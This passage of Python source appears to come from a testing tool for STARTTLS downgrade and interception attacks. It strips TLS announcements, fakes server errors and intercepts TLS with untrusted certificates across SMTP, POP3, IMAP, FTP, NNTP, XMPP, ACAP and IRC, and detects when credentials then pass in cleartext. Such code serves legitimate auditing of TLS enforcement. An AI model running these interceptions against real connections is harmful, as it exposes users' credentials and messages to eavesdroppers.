mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n session.inbound.sendall(\"454 TLS not available due to temporary reason\\r\\n\")\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"454 TLS not available due to temporary reason\\r\\n\")))\r\n data=None\r\n elif \"mail from\" in data.lower():\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class StripWithError:\r\n ''' 1) force server error on client sending STARTTLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n session.inbound.sendall(\"501 Syntax error\\r\\n\")\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"501 Syntax error\\r\\n\")))\r\n data=None\r\n elif \"mail from\" in data.lower():\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class UntrustedIntercept:\r\n ''' 1) Do not mangle server data\r\n 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.\r\n in case client does not check keys\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n # do inbound STARTTLS\r\n session.inbound.sendall(\"220 Go ahead\\r\\n\")\r\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr(\"220 Go ahead\\r\\n\")))\r\n context = Vectors.GENERIC.Intercept.create_ssl_context()\r\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, \r\n keyfile=Vectors._TLS_KEYFILE)\r\n logger.debug(\"%s [client] <= [ ][mangled] waiting for inbound SSL handshake\"%(session))\r\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\r\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\r\n \r\n # outbound ssl\r\n session.outbound.sendall(data)\r\n logger.debug(\"%s [ ] => [server][mangled] %s\"%(session,repr(data)))\r\n resp_data = session.outbound.recv_blocked()\r\n logger.debug(\"%s [ ] <= [server][mangled] %s\"%(session,repr(resp_data)))\r\n if \"220\" not in resp_data:\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(resp_data))\r\n logger.debug(\"%s [ ] => [server][mangled] performing outbound SSL handshake\"%(session))\r\n session.outbound.ssl_wrap_socket() \r\n logger.debug(\"%s [ ] <> [server] SSL handshake done: %s\"%(session, session.outbound.socket_ssl.cipher()))\r\n \r\n data=None\r\n elif \"mail from\" in data.lower():\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class InboundStarttlsProxy:\r\n ''' Inbound is starttls, outbound is plain\r\n 1) Do not mangle server data\r\n 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.\r\n in case client does not check keys\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n # keep track of stripped server ehlo/helo\r\n if any(e in session.outbound.sndbuf.lower() for e in ('ehlo','helo')) and \"250\" in data and not session.datastore.get(\"server_ehlo_stripped\"): #only do this once\r\n # wait for full line\r\n while not \"250 \" in data:\r\n data+=session.outbound.recv_blocked()\r\n \r\n features = [f for f in data.strip().split('\\r\\n') if not \"STARTTLS\" in f]\r\n if features and not features[-1].startswith(\"250 \"):\r\n features[-1] = features[-1].replace(\"250-\",\"250 \") # end marker\r\n # force starttls announcement\r\n session.datastore['server_ehlo_stripped']= '\\r\\n'.join(features)+'\\r\\n' # stripped\r\n \r\n if len(features)>1:\r\n features.insert(-1,\"250-STARTTLS\")\r\n else:\r\n features.append(\"250 STARTTLS\")\r\n features[0]=features[0].replace(\"250 \",\"250-\")\r\n data = '\\r\\n'.join(features)+'\\r\\n' # forced starttls\r\n session.datastore['server_ehlo'] = data\r\n \r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n # do inbound STARTTLS\r\n session.inbound.sendall(\"220 Go ahead\\r\\n\")\r\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr(\"220 Go ahead\\r\\n\")))\r\n context = Vectors.GENERIC.Intercept.create_ssl_context()\r\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,\r\n keyfile=Vectors._TLS_KEYFILE)\r\n logger.debug(\"%s [client] <= [ ][mangled] waiting for inbound SSL handshake\"%(session))\r\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\r\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\r\n # inbound ssl, fake server ehlo on helo/ehlo\r\n indata = session.inbound.recv_blocked()\r\n if not any(e in indata for e in ('ehlo','helo')):\r\n raise ProtocolViolationException(\"whoop!? client did not send EHLO/HELO after STARTTLS finished.. proto violation: %s\"%repr(indata))\r\n logger.debug(\"%s [client] => [ ][mangled] %s\"%(session,repr(indata)))\r\n session.inbound.sendall(session.datastore[\"server_ehlo_stripped\"])\r\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr(session.datastore[\"server_ehlo_stripped\"])))\r\n data=None\r\n elif any(e in data for e in ('ehlo','helo')) and session.datastore.get(\"server_ehlo_stripped\"):\r\n # just do not forward the second ehlo/helo\r\n data=None\r\n elif \"mail from\" in data.lower():\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class ProtocolDowngradeStripExtendedMode:\r\n ''' Return error on EHLO to force peer to non-extended mode\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if data.lower().startswith(\"ehlo \"):\r\n session.inbound.sendall(\"502 Error: command \\\"EHLO\\\" not implemented\\r\\n\")\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"502 Error: command \\\"EHLO\\\" not implemented\\r\\n\")))\r\n data=None\r\n elif \"mail from\" in data.lower():\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class InjectCommand:\r\n ''' 1) Append command to STARTTLS\\r\\n.\r\n 2) untrusted intercept to check if we get an invalid command response from server\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n data += \"INJECTED_INVALID_COMMAND\\r\\n\"\r\n #logger.debug(\"%s [client] => [server][mangled] %s\"%(session,repr(data)))\r\n try:\r\n Vectors.SMTP.UntrustedIntercept.mangle_client_data(session, data, rewrite)\r\n except ssl.SSLEOFError, se:\r\n logging.info(\"%s - Server failed to negotiate SSL with Exception: %s\"%(session, repr(se))) \r\n session.close()\r\n elif \"mail from\" in data.lower():\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class POP3:\r\n _PROTO_ID = 110\r\n \r\n class StripFromCapabilities:\r\n ''' 1) Force Server response to *NOT* announce STLS support\r\n 2) raise exception if client tries to negotiated STLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if data.lower().startswith('+ok capability'):\r\n features = [f for f in data.strip().split('\\r\\n') if not \"stls\" in f.lower()]\r\n data = '\\r\\n'.join(features)+'\\r\\n'\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if data.lower().startswith(\"stls\"):\r\n raise ProtocolViolationException(\"whoop!? client sent STLS even though we did not announce it.. proto violation: %s\"%repr(data))\r\n elif any(c in data.lower() for c in ('list','user ','pass ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class StripWithError:\r\n ''' 1) force server error on client sending STLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"stls\" == data.strip().lower():\r\n session.inbound.sendall(\"-ERR unknown command\\r\\n\")\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"-ERR unknown command\\r\\n\")))\r\n data=None\r\n elif any(c in data.lower() for c in ('list','user ','pass ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class UntrustedIntercept:\r\n ''' 1) Do not mangle server data\r\n 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.\r\n in case client does not check keys\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"stls\"==data.strip().lower():\r\n # do inbound STARTTLS\r\n session.inbound.sendall(\"+OK Begin TLS negotiation\\r\\n\")\r\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr(\"+OK Begin TLS negotiation\\r\\n\")))\r\n context = Vectors.GENERIC.Intercept.create_ssl_context()\r\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, \r\n keyfile=Vectors._TLS_CERTFILE)\r\n logger.debug(\"%s [client] <= [ ][mangled] waiting for inbound SSL handshake\"%(session))\r\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\r\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\r\n # outbound ssl\r\n \r\n session.outbound.sendall(data)\r\n logger.debug(\"%s [ ] => [server][mangled] %s\"%(session,repr(data)))\r\n resp_data = session.outbound.recv_blocked()\r\n logger.debug(\"%s [ ] <= [server][mangled] %s\"%(session,repr(resp_data)))\r\n if \"+OK\" not in resp_data:\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(resp_data))\r\n \r\n logger.debug(\"%s [ ] => [server][mangled] performing outbound SSL handshake\"%(session))\r\n session.outbound.ssl_wrap_socket()\r\n logger.debug(\"%s [ ] <> [server] SSL handshake done: %s\"%(session, session.outbound.socket_ssl.cipher()))\r\n \r\n data=None\r\n elif any(c in data.lower() for c in ('list','user ','pass ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class IMAP:\r\n _PROTO_ID = 143\r\n class StripFromCapabilities:\r\n ''' 1) Force Server response to *NOT* announce STARTTLS support\r\n 2) raise exception if client tries to negotiated STARTTLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if \"CAPABILITY \" in data:\r\n # rfc2595\r\n data = data.replace(\" STARTTLS\",\"\").replace(\" LOGINDISABLED\",\"\")\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \" STARTTLS\" in data:\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(data))\r\n elif \" LOGIN \" in data:\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class StripWithError:\r\n ''' 1) force server error on client sending STLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if data.strip().lower().endswith(\"starttls\"):\r\n id = data.split(' ',1)[0].strip()\r\n session.inbound.sendall(\"%s BAD unknown command\\r\\n\"%id)\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"%s BAD unknown command\\r\\n\"%id)))\r\n data=None\r\n elif \" LOGIN \" in data:\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class ProtocolDowngradeToV2:\r\n ''' Return IMAP2 instead of IMAP4 in initial server response\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if all(kw.lower() in data.lower() for kw in (\"IMAP4\",\"* OK \")):\r\n session.inbound.sendall(\"OK IMAP2 Server Ready\\r\\n\")\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"OK IMAP2 Server Ready\\r\\n\")))\r\n data=None\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(data))\r\n elif \"mail from\" in data.lower():\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class UntrustedIntercept:\r\n ''' 1) Do not mangle server data\r\n 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.\r\n in case client does not check keys\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if data.strip().lower().endswith(\"starttls\"):\r\n id = data.split(' ',1)[0].strip()\r\n # do inbound STARTTLS\r\n session.inbound.sendall(\"%s OK Begin TLS negotation now\\r\\n\"%id)\r\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr(\"%s OK Begin TLS negotation now\\r\\n\"%id)))\r\n context = Vectors.GENERIC.Intercept.create_ssl_context()\r\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, \r\n keyfile=Vectors._TLS_CERTFILE)\r\n logger.debug(\"%s [client] <= [ ][mangled] waiting for inbound SSL handshake\"%(session))\r\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\r\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\r\n \r\n # outbound ssl\r\n \r\n session.outbound.sendall(data)\r\n logger.debug(\"%s [ ] => [server][mangled] %s\"%(session,repr(data)))\r\n resp_data = session.outbound.recv_blocked()\r\n logger.debug(\"%s [ ] <= [server][mangled] %s\"%(session,repr(resp_data)))\r\n if \"%s OK\"%id not in resp_data:\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(resp_data))\r\n \r\n logger.debug(\"%s [ ] => [server][mangled] performing outbound SSL handshake\"%(session))\r\n session.outbound.ssl_wrap_socket()\r\n logger.debug(\"%s [ ] <> [server] SSL handshake done: %s\"%(session, session.outbound.socket_ssl.cipher()))\r\n \r\n data=None\r\n elif \" LOGIN \" in data:\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class FTP:\r\n _PROTO_ID = 21\r\n class StripFromCapabilities:\r\n ''' 1) Force Server response to *NOT* announce AUTH TLS support\r\n 2) raise exception if client tries to negotiated AUTH TLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if session.outbound.sndbuf.strip().lower()==\"feat\" \\\r\n and \"AUTH TLS\" in data:\r\n features = (f for f in data.strip().split('\\n') if not \"AUTH TLS\" in f)\r\n data = '\\n'.join(features)+\"\\r\\n\"\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"AUTH TLS\" in data:\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(data))\r\n elif \"USER \" in data:\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class StripWithError:\r\n ''' 1) force server error on client sending AUTH TLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"AUTH TLS\" in data:\r\n session.inbound.sendall(\"500 AUTH TLS not understood\\r\\n\")\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"500 AUTH TLS not understood\\r\\n\")))\r\n data=None\r\n elif \"USER \" in data:\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class UntrustedIntercept:\r\n ''' 1) Do not mangle server data\r\n 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.\r\n in case client does not check keys\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"AUTH TLS\" in data:\r\n # do inbound STARTTLS\r\n session.inbound.sendall(\"234 OK Begin TLS negotation now\\r\\n\")\r\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr(\"234 OK Begin TLS negotation now\\r\\n\")))\r\n context = Vectors.GENERIC.Intercept.create_ssl_context()\r\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, \r\n keyfile=Vectors._TLS_KEYFILE)\r\n logger.debug(\"%s [client] <= [ ][mangled] waiting for inbound SSL handshake\"%(session))\r\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\r\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\r\n # outbound ssl\r\n \r\n session.outbound.sendall(data)\r\n logger.debug(\"%s [ ] => [server][mangled] %s\"%(session,repr(data)))\r\n resp_data = session.outbound.recv_blocked()\r\n logger.debug(\"%s [ ] <= [server][mangled] %s\"%(session,repr(resp_data)))\r\n if not resp_data.startswith(\"234\"):\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(resp_data))\r\n \r\n logger.debug(\"%s [ ] => [server][mangled] performing outbound SSL handshake\"%(session))\r\n session.outbound.ssl_wrap_socket()\r\n logger.debug(\"%s [ ] <> [server] SSL handshake done: %s\"%(session, session.outbound.socket_ssl.cipher()))\r\n \r\n data=None\r\n elif \"USER \" in data:\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class NNTP:\r\n _PROTO_ID = 119\r\n class StripFromCapabilities:\r\n ''' 1) Force Server response to *NOT* announce STARTTLS support\r\n 2) raise exception if client tries to negotiated STARTTLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if session.outbound.sndbuf.strip().lower()==\"capabilities\" \\\r\n and \"STARTTLS\" in data:\r\n features = (f for f in data.strip().split('\\n') if not \"STARTTLS\" in f)\r\n data = '\\n'.join(features)+\"\\r\\n\"\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(data))\r\n elif \"GROUP \" in data:\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class StripWithError:\r\n ''' 1) force server error on client sending STARTTLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n session.inbound.sendall(\"502 Command unavailable\\r\\n\") # or 580 Can not initiate TLS negotiation\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"502 Command unavailable\\r\\n\")))\r\n data=None\r\n elif \"GROUP \" in data:\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class UntrustedIntercept:\r\n ''' 1) Do not mangle server data\r\n 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.\r\n in case client does not check keys\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n # do inbound STARTTLS\r\n session.inbound.sendall(\"382 Continue with TLS negotiation\\r\\n\")\r\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr(\"382 Continue with TLS negotiation\\r\\n\")))\r\n context = Vectors.GENERIC.Intercept.create_ssl_context()\r\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, \r\n keyfile=Vectors._TLS_KEYFILE)\r\n logger.debug(\"%s [client] <= [ ][mangled] waiting for inbound SSL handshake\"%(session))\r\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\r\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\r\n # outbound ssl\r\n \r\n session.outbound.sendall(data)\r\n logger.debug(\"%s [ ] => [server][mangled] %s\"%(session,repr(data)))\r\n resp_data = session.outbound.recv_blocked()\r\n logger.debug(\"%s [ ] <= [server][mangled] %s\"%(session,repr(resp_data)))\r\n if not resp_data.startswith(\"382\"):\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(resp_data))\r\n \r\n logger.debug(\"%s [ ] => [server][mangled] performing outbound SSL handshake\"%(session))\r\n session.outbound.ssl_wrap_socket()\r\n logger.debug(\"%s [ ] <> [server] SSL handshake done: %s\"%(session, session.outbound.socket_ssl.cipher()))\r\n \r\n data=None\r\n elif \"GROUP \" in data:\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class XMPP:\r\n _PROTO_ID = 5222\r\n class StripFromCapabilities:\r\n ''' 1) Force Server response to *NOT* announce STARTTLS support\r\n 2) raise exception if client tries to negotiated STARTTLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if \"<starttls\" in data:\r\n start = data.index(\"<starttls\")\r\n end = data.index(\"</starttls>\",start)+len(\"</starttls>\")\r\n data = data[:start] + data[end:] # strip starttls from capabilities\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"<starttls\" in data:\r\n # do not respond with <proceed xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>\r\n #<failure/> or <proceed/>\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(data))\r\n #session.inbound.sendall(\"<success xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>\") # fake respone\r\n #data=None\r\n elif any(c in data.lower() for c in (\"</auth>\",\"<query\",\"<iq\",\"<username\")):\r\n rewrite.set_result(session, True)\r\n return data \r\n \r\n class StripInboundTLS:\r\n ''' 1) Force Server response to *NOT* announce STARTTLS support\r\n 2) If starttls is required outbound, leave inbound connection plain - outbound starttls\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if \"<starttls\" in data:\r\n start = data.index(\"<starttls\")\r\n end = data.index(\"</starttls>\",start)+len(\"</starttls>\")\r\n starttls_args = data[start:end]\r\n data = data[:start] + data[end:] # strip inbound starttls\r\n if \"required\" in starttls_args:\r\n # do outbound starttls as required by server\r\n session.outbound.sendall(\"<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>\")\r\n logger.debug(\"%s [client] => [server][mangled] %s\"%(session,repr(\"<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>\")))\r\n resp_data = session.outbound.recv_blocked()\r\n if not resp_data.startswith(\"<proceed \"):\r\n raise ProtocolViolationException(\"whoop!? server announced STARTTLS *required* but fails to proceed. proto violation: %s\"%repr(resp_data))\r\n \r\n logger.debug(\"%s [ ] => [server][mangled] performing outbound SSL handshake\"%(session))\r\n session.outbound.ssl_wrap_socket()\r\n \r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"<starttls\" in data:\r\n # do not respond with <proceed xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>\r\n #<failure/> or <proceed/>\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(data))\r\n #session.inbound.sendall(\"<success xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>\") # fake respone\r\n #data=None\r\n elif any(c in data.lower() for c in (\"</auth>\",\"<query\",\"<iq\",\"<username\")):\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class UntrustedIntercept:\r\n ''' 1) Do not mangle server data\r\n 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.\r\n in case client does not check keys\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"<starttls \" in data:\r\n # do inbound STARTTLS\r\n session.inbound.sendall(\"<proceed xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>\")\r\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr(\"<proceed xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>\")))\r\n context = Vectors.GENERIC.Intercept.create_ssl_context()\r\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,\r\n keyfile=Vectors._TLS_KEYFILE)\r\n logger.debug(\"%s [client] <= [ ][mangled] waiting for inbound SSL handshake\"%(session))\r\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\r\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\r\n # outbound ssl\r\n \r\n session.outbound.sendall(data)\r\n logger.debug(\"%s [ ] => [server][mangled] %s\"%(session,repr(data)))\r\n resp_data = session.outbound.recv_blocked()\r\n logger.debug(\"%s [ ] <= [server][mangled] %s\"%(session,repr(resp_data)))\r\n if not resp_data.startswith(\"<proceed \"):\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(resp_data))\r\n \r\n logger.debug(\"%s [ ] => [server][mangled] performing outbound SSL handshake\"%(session))\r\n session.outbound.ssl_wrap_socket()\r\n logger.debug(\"%s [ ] <> [server] SSL handshake done: %s\"%(session, session.outbound.socket_ssl.cipher()))\r\n \r\n data=None\r\n elif \"</auth>\" in data:\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class ACAP:\r\n #rfc2244, rfc2595\r\n _PROTO_ID = 675\r\n _REX_CAP = re.compile(r\"\\(([^\\)]+)\\)\")\r\n class StripFromCapabilities:\r\n ''' 1) Force Server response to *NOT* announce STARTTLS support\r\n 2) raise exception if client tries to negotiated STARTTLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if all(kw in data for kw in (\"ACAP\",\"STARTTLS\")):\r\n features = Vectors.ACAP._REX_CAP.findall(data) # features w/o parentheses\r\n data = ' '.join(\"(%s)\"%f for f in features if not \"STARTTLS\" in f)\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \" STARTTLS\" in data:\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(data))\r\n elif \" AUTHENTICATE \" in data: \r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class StripWithError:\r\n ''' 1) force server error on client sending STARTTLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \" STARTTLS\" in data:\r\n id = data.split(' ',1)[0].strip()\r\n session.inbound.sendall('%s BAD \"command unknown or arguments invalid\"'%id) # or 580 Can not initiate TLS negotiation\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr('%s BAD \"command unknown or arguments invalid\"'%id)))\r\n data=None\r\n elif \" AUTHENTICATE \" in data:\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class UntrustedIntercept:\r\n ''' 1) Do not mangle server data\r\n 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.\r\n in case client does not check keys\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \" STARTTLS\" in data:\r\n # do inbound STARTTLS\r\n id = data.split(' ',1)[0].strip()\r\n session.inbound.sendall('%s OK \"Begin TLS negotiation now\"'%id)\r\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr('%s OK \"Begin TLS negotiation now\"'%id)))\r\n context = Vectors.GENERIC.Intercept.create_ssl_context()\r\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, \r\n keyfile=Vectors._TLS_KEYFILE)\r\n logger.debug(\"%s [client] <= [ ][mangled] waiting for inbound SSL handshake\"%(session))\r\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\r\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\r\n # outbound ssl\r\n \r\n session.outbound.sendall(data)\r\n logger.debug(\"%s [ ] => [server][mangled] %s\"%(session,repr(data)))\r\n resp_data = session.outbound.recv_blocked()\r\n logger.debug(\"%s [ ] <= [server][mangled] %s\"%(session,repr(resp_data)))\r\n if not \" OK \" in resp_data:\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(resp_data))\r\n \r\n logger.debug(\"%s [ ] => [server][mangled] performing outbound SSL handshake\"%(session))\r\n session.outbound.ssl_wrap_socket()\r\n logger.debug(\"%s [ ] <> [server] SSL handshake done: %s\"%(session, session.outbound.socket_ssl.cipher()))\r\n \r\n data=None\r\n elif \" AUTHENTICATE \" in data:\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class IRC:\r\n #rfc2244, rfc2595\r\n _PROTO_ID = 6667\r\n _REX_CAP = re.compile(r\"\\(([^\\)]+)\\)\")\r\n _IDENT_PORT = 113\r\n class StripFromCapabilities:\r\n ''' 1) Force Server response to *NOT* announce STARTTLS support\r\n 2) raise exception if client tries to negotiated STARTTLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if all(kw.lower() in data.lower() for kw in (\" cap \",\" tls\")):\r\n mangled = []\r\n for line in data.split(\"\\n\"):\r\n if all(kw.lower() in line.lower() for kw in (\" cap \",\" tls\")):\r\n # can be CAP LS or CAP ACK/NACK\r\n if \" ack \" in data.lower():\r\n line = line.replace(\"ACK\",\"NAK\").replace(\"ack\",\"nak\")\r\n else: #ls\r\n features = line.split(\" \")\r\n line = ' '.join(f for f in features if not 'tls' in f.lower())\r\n mangled.append(line)\r\n data = \"\\n\".join(mangled)\r\n elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\r\n rewrite.set_result(session, True)\r\n return \r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not 